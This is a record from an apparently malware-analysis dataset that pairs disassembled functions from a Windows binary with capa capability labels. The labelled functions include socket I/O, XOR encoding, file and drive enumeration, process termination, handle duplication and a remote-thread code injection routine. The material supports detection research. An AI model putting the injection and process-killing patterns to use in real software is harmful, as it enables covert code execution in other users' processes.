joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e37d4
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e38f6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004e2f84
xor eax, eax
push ebp
push 0x4e38d9
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4e3824
call fcn.00404448
jmp 0x4e38e0
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4e38c3
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x4e38c3
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403dcc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x4e38c3
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c538
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x4e3910
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x4fa4a0]
mov dl, 1
mov eax, dword [0x4e2298]
call fcn.0040ce68
call fcn.0040439c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e38e0
mov eax, dword [ebp - 4]
call fcn.004e2f90
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e38fd
lea eax, [ebp - 0x28]
call fcn.004049e4
ret
Function at 0x4e395c
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e3aa6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004e2f84
xor eax, eax
push ebp
push 0x4e3a89
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x4e39c1
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x4e39c1
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x4e3a73
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4e39d4
call fcn.00404448
jmp 0x4e3a90
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4e3a73
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x4e3a73
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403dcc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x4e3a73
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c538
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x4e3ac0
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x4fa4a0]
mov dl, 1
mov eax, dword [0x4e2298]
call fcn.0040ce68
call fcn.0040439c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e3a90
mov eax, dword [ebp - 4]
call fcn.004e2f90
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e3aad
lea eax, [ebp - 0x28]
call fcn.004049e4
ret

Function at 0x4e41d8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov ebx, edx
test ebx, ebx
js 0x4e41f6
shr ebx, 2
mov esi, dword [eax + ebx*4]
dec ebx
push esi
jns 0x4e41ef
mov eax, esp
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e4263
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.004049e4
xor esi, esi
mov edi, 3
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0xc]
mov dl, byte [esi + 0x4f99d4]
xor dl, byte [ebx]
call fcn.00404bcc
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
call fcn.00404cac
mov eax, dword [ebp - 8]
lea eax, [esi + 1]
mov ecx, 0xa
cdq
idiv ecx
mov esi, edx
inc ebx
dec edi
jne 0x4e421e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e426a
lea eax, [ebp - 0xc]
call fcn.004049e4
ret
Function at 0x4e44b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4e4599
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.004049e4
mov eax, dword [ebp - 4]
call fcn.00404ca4
test eax, eax
jle 0x4e455e
mov dword [ebp - 0xc], eax
mov esi, 1
call fcn.00402c30
mov edx, 0xa
xor eax, eax
call fcn.0042ea20
mov ebx, eax
lea edi, [esi + ebx]
mov eax, dword [ebp - 8]
push dword [eax]
lea eax, [ebp - 0x10]
mov edx, ebx
mov ecx, edi
add dl, cl
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + esi - 1]
call fcn.00404bcc
push dword [ebp - 0x10]
lea edx, [ebp - 0x14]
mov eax, ebx
call fcn.004e4278
push dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
mov eax, ebx
xor eax, edi
mov edx, 2
call fcn.004092a8
push dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov edx, 4
call fcn.00404d64
inc esi
dec dword [ebp - 0xc]
jne 0x4e44f7
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.004e435c
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 8]
call fcn.00404cac
mov eax, dword [ebp - 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e45a0
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.00404a08
lea eax, [ebp - 4]
call fcn.004049e4
ret

Function at 0x4e61e4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x4e61ed
mov eax, dword [ebp - 4]
add esp, 0xfffffebc
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4e62c8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4fa4a4]
mov byte [eax], 0
mov dword [ebx], 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.00402f90
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.00403404
call fcn.00402a58
test eax, eax
jne 0x4e62a5
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x10145]
mov ecx, 0xfff1
lea eax, [ebp - 0x154]
call fcn.004030ec
mov dx, word [ebp - 8]
test dx, dx
jbe 0x4e629f
lea eax, [ebp - 0x10145]
xor ecx, ecx
mov cl, byte [eax]
mov esi, dword [ebx]
and esi, 0xff
xor ecx, esi
mov ecx, dword [ecx*4 + 0x4f9a08]
mov esi, dword [ebx]
shr esi, 8
xor ecx, esi
mov dword [ebx], ecx
inc eax
dec dx
jne 0x4e627b
cmp dword [ebp - 8], 0
jne 0x4e6252
lea eax, [ebp - 0x154]
call fcn.0040310c
not dword [ebx]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e62cf
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4e6d80
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4e6dff
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0x41
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404bcc
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, 0x4e6e14
call fcn.00404cf0
mov eax, dword [ebp - 4]
call fcn.00404ea4
push eax
call sub.kernel32.dll_GetDriveTypeA
test eax, eax
je 0x4e6dde
cmp eax, 1
je 0x4e6dde
cmp eax, 3
jne 0x4e6dde
mov eax, dword [esi]
mov edx, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
cmp ebx, 0x5b
jne 0x4e6d9e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e6e06
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404a08
ret
Function at 0x4e73d8
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe9c
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4e75c1
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4e7585
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x418614]
call fcn.00403ba0
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00402970
call fcn.00402934
lea eax, [ebp - 0x150]
push eax
push 0x4e75d4
call sub.kernel32.dll_FindFirstFileA_1
mov esi, eax
cmp esi, 0xffffffff
je 0x4e74c9
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.00404c54
lea eax, [ebp - 0x154]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404cf0
mov eax, dword [ebp - 0x154]
call fcn.004096cc
test al, al
je 0x4e74b2
lea eax, [ebp - 0x158]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404cf0
mov edx, dword [ebp - 0x158]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x150]
push eax
push esi
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4e7461
push esi
call sub.kernel32.dll_FindClose_1
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4e7570
inc eax
mov dword [ebp - 0x10], eax
xor esi, esi
lea ecx, [ebp - 0x15c]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x15c]
call fcn.004e6d28
cmp edx, 0
jne 0x4e750d
cmp eax, 0x172216b0
jbe 0x4e7566
jmp 0x4e750f
jle 0x4e7566
lea ecx, [ebp - 0x160]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x160]
call fcn.004e6d28
cmp edx, 0
jne 0x4e7537
cmp eax, 0x172239d8
jae 0x4e7566
jmp 0x4e7539
jge 0x4e7566
mov byte [ebp - 5], 1
lea ecx, [ebp - 0x164]
mov edx, esi
mov eax, ebx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x164]
mov eax, 0x4fe484
call fcn.00404a38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e7593
inc esi
dec dword [ebp - 0x10]
jne 0x4e74e5
mov eax, ebx
call fcn.00403bd0
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e7593
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e75c8
lea eax, [ebp - 0x164]
mov edx, 5
call fcn.00404a08
lea eax, [ebp - 0xc]
call fcn.004049e4
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4e7694
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x4e780e
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.004b50b0
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.004b50d0
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x4e77da
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00409a24
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00408cdc
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00408cdc
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404df0
je 0x4e77b4
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00408cdc
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00408cdc
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404df0
jne 0x4e77cb
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.004b50f0
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4e7715
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e7815
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00404a08
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4e7cf0
Capabilities:
Copy file
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe14
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x1e8], ecx
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1d8], ecx
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x1d0], ecx
xor eax, eax
push ebp
push 0x4e7f84
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4e7da7
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x4e7f9c
lea eax, [ebp - 0x1cc]
call fcn.00402f90
lea eax, [ebp - 0x1cc]
call fcn.00402d20
call fcn.00402934
lea ecx, [ebp - 0x1d0]
mov eax, dword [0x4fe4dc]
mov eax, dword [eax + 0x23c]
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d0]
lea eax, [ebp - 0x1cc]
call fcn.00405094
call fcn.0040304c
call fcn.00402934
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e7db1
xor eax, eax
push ebp
push 0x4e7f5c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4fe4dc]
mov eax, dword [eax + 0x23c]
mov edx, dword [eax]
call dword [edx + 0x10]
test eax, eax
jle 0x4e7e6b
xor eax, eax
push ebp
push 0x4e7e61
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4fe4dc]
mov eax, dword [eax + 0x23c]
mov edx, dword [eax]
call dword [edx + 0x10]
mov esi, eax
test esi, esi
jle 0x4e7e57
mov ebx, 1
lea eax, [ebp - 0x1cc]
call fcn.00402d2c
call fcn.00402934
lea eax, [ebp - 0x1cc]
call fcn.00403684
call fcn.00402934
lea ecx, [ebp - 0x1d4]
mov eax, dword [0x4fe4dc]
mov eax, dword [eax + 0x23c]
mov edx, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x1d4]
lea eax, [ebp - 0x1cc]
call fcn.00405094
call fcn.0040304c
call fcn.00402934
inc ebx
dec esi
jne 0x4e7e00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e7e6b
lea eax, [ebp - 0x1cc]
call fcn.0040310c
call fcn.00402934
call fcn.00402c30
mov edx, 0x270f
mov eax, 0x1a0a
call fcn.0042ea20
mov ebx, eax
lea edx, [ebp - 0x1dc]
mov eax, ebx
call fcn.00409194
mov ecx, dword [ebp - 0x1dc]
lea eax, [ebp - 0x1d8]
mov edx, 0x4e7fac
call fcn.00404cf0
mov eax, dword [ebp - 0x1d8]
call fcn.00404ea4
push eax
push 0x4e7fcc
call sub.kernel32.dll_MoveFileA
push 0
push 0x4e7fac
lea edx, [ebp - 0x1e4]
mov eax, ebx
call fcn.00409194
push dword [ebp - 0x1e4]
push 0x4e7ff4
lea eax, [ebp - 0x1e0]
mov edx, 3
call fcn.00404d64
mov eax, dword [ebp - 0x1e0]
call fcn.00404ea4
push eax
push 0x4e7ffc
call sub.kernel32.dll_CopyFileA
push 0x4e7fcc
lea edx, [ebp - 0x1ec]
mov eax, ebx
call fcn.00409194
mov ecx, dword [ebp - 0x1ec]
lea eax, [ebp - 0x1e8]
mov edx, 0x4e7fac
call fcn.00404cf0
mov eax, dword [ebp - 0x1e8]
call fcn.00404ea4
push eax
call sub.kernel32.dll_MoveFileA
mov eax, 0x4e800c
call fcn.00409904
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e7f66
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e7f8b
lea eax, [ebp - 0x1ec]
mov edx, 8
call fcn.00404a08
ret
Function at 0x4ed1b8
Capabilities:
Get disk information
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffce0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x318], ecx
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x314], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4ed376
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004049e4
lea eax, [ebp - 0x20a]
xor ecx, ecx
mov edx, 0x202
call fcn.00403274
push 0
push 1
push 0
push 2
push 0
push ebx
call sub.kernel32.dll_CreateFileMappingA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4ed350
push 1
push 0
push 0
push 4
push ebx
call sub.kernel32.dll_MapViewOfFile
mov edi, eax
test edi, edi
je 0x4ed34a
push 0x104
call sub.kernel32.dll_GetCurrentProcess
lea ecx, [ebp - 0x20a]
mov edx, edi
call fcn.004b4dcc
test eax, eax
je 0x4ed344
lea edx, [ebp - 8]
lea eax, [ebp - 0x20a]
call fcn.00409dc0
lea eax, [ebp - 0x20a]
push eax
push 0x1ff
call sub.kernel32.dll_GetLogicalDriveStringsA
test eax, eax
je 0x4ed344
lea esi, [ebp - 0x20a]
add esi, 2
mov byte [esi], 0
sub esi, 2
lea eax, [ebp - 0x30e]
xor ecx, ecx
mov edx, 0x104
call fcn.00403274
push 0x104
lea eax, [ebp - 0x30e]
push eax
push esi
call sub.kernel32.dll_QueryDosDeviceA
test eax, eax
je 0x4ed338
lea eax, [ebp - 0x314]
lea edx, [ebp - 0x30e]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x314]
mov edx, dword [ebp - 8]
call fcn.0040db0c
test eax, eax
je 0x4ed338
lea eax, [ebp - 0x318]
push eax
lea eax, [ebp - 0x31c]
lea edx, [ebp - 0x30e]
mov ecx, 0x104
call fcn.00404c54
mov edx, dword [ebp - 0x31c]
xor ecx, ecx
mov eax, dword [ebp - 8]
call fcn.00434c84
mov eax, dword [ebp - 0x318]
push eax
lea eax, [ebp - 0x320]
mov edx, esi
call fcn.00404bdc
mov edx, dword [ebp - 0x320]
mov eax, dword [ebp - 4]
pop ecx
call fcn.00404cf0
jmp 0x4ed350
add esi, 4
cmp byte [esi], 0
jne 0x4ed28d
push edi
call sub.kernel32.dll_UnmapViewOfFile
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ed37d
lea eax, [ebp - 0x320]
mov edx, 4
call fcn.00404a08
lea eax, [ebp - 8]
call fcn.004049e4
ret
Function at 0x4ed3ac
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, 0x4ed384
sub esi, 0x4ed388
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x4ed44b
push 0x4ed454
call sub.kernel32.dll_GetModuleHandleA_2
mov ebp, eax
push 0x4ed464
push ebp
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
push 4
push 0x1000
push 8
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [esp + 4]
push eax
push 8
lea eax, [esp + 0x10]
push eax
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 0x40
push 0x1000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov ebp, eax
lea eax, [esp + 4]
push eax
push esi
push 0x4ed388
push ebp
push ebx
call sub.kernel32.dll_WriteProcessMemory
push esp
push 0
push edi
push ebp
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4ed518
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push ebx
push esi
push ecx
mov ebx, 0x400
push 4
push 0x3000
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
push esp
push ebx
push esi
push 0x10
call sub.ntdll.dll_NtQuerySystemInformation
push 0x8000
push ebx
push esi
call sub.kernel32.dll_VirtualFree_1
mov ebx, dword [esp]
push 4
push 0x3000
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
push esp
push ebx
push esi
push 0x10
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
jne 0x4ed56d
mov eax, esi
jmp 0x4ed56f
xor eax, eax
pop edx
pop esi
pop ebx
ret
Function at 0x4ed574
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x4ed57c
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4ed736
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004ed518
mov esi, eax
test esi, esi
je 0x4ed70b
mov edi, dword [esi]
test edi, edi
jl 0x4ed70b
inc edi
xor ebx, ebx
mov eax, dword [0x4fa398]
mov eax, dword [eax]
call fcn.00478300
mov eax, ebx
add eax, eax
cmp byte [esi + eax*8 + 8], 0x1c
jne 0x4ed703
mov eax, ebx
add eax, eax
mov eax, dword [esi + eax*8 + 4]
push eax
push 0
push 0x7a
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x18]
call fcn.00409280
mov eax, dword [ebp - 0x18]
call fcn.00404ea4
push eax
call sub.kernel32.dll_OutputDebugStringA
cmp dword [ebp - 8], 0
jbe 0x4ed703
push 2
push 0
push 0
lea eax, [ebp - 0xc]
push eax
call sub.kernel32.dll_GetCurrentProcess
push eax
mov eax, ebx
add eax, eax
movzx eax, word [esi + eax*8 + 0xa]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_DuplicateHandle
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004ed1b8
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
call fcn.00408d18
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.00404fe8
test eax, eax
jle 0x4ed6f1
mov eax, dword [0x4fe4ec]
mov eax, dword [eax + 0x30c]
mov eax, dword [eax + 0x22c]
call fcn.004438b8
mov dword [ebp - 0x14], eax
mov eax, ebx
add eax, eax
mov eax, dword [esi + eax*8 + 4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.00409280
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
call fcn.00443358
lea edx, [ebp - 0x24]
mov eax, ebx
add eax, eax
mov eax, dword [esi + eax*8 + 4]
call fcn.004ed470
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x28]
mov eax, ebx
add eax, eax
movzx eax, word [esi + eax*8 + 0xa]
call fcn.00409194
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [ebp - 0xc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x2c]
call fcn.00409280
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
inc ebx
dec edi
jne 0x4ed5bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ed73d
lea eax, [ebp - 0x2c]
mov edx, 6
call fcn.00404a08
lea eax, [ebp - 0x10]
call fcn.004049e4
lea eax, [ebp - 4]
call fcn.004049e4
ret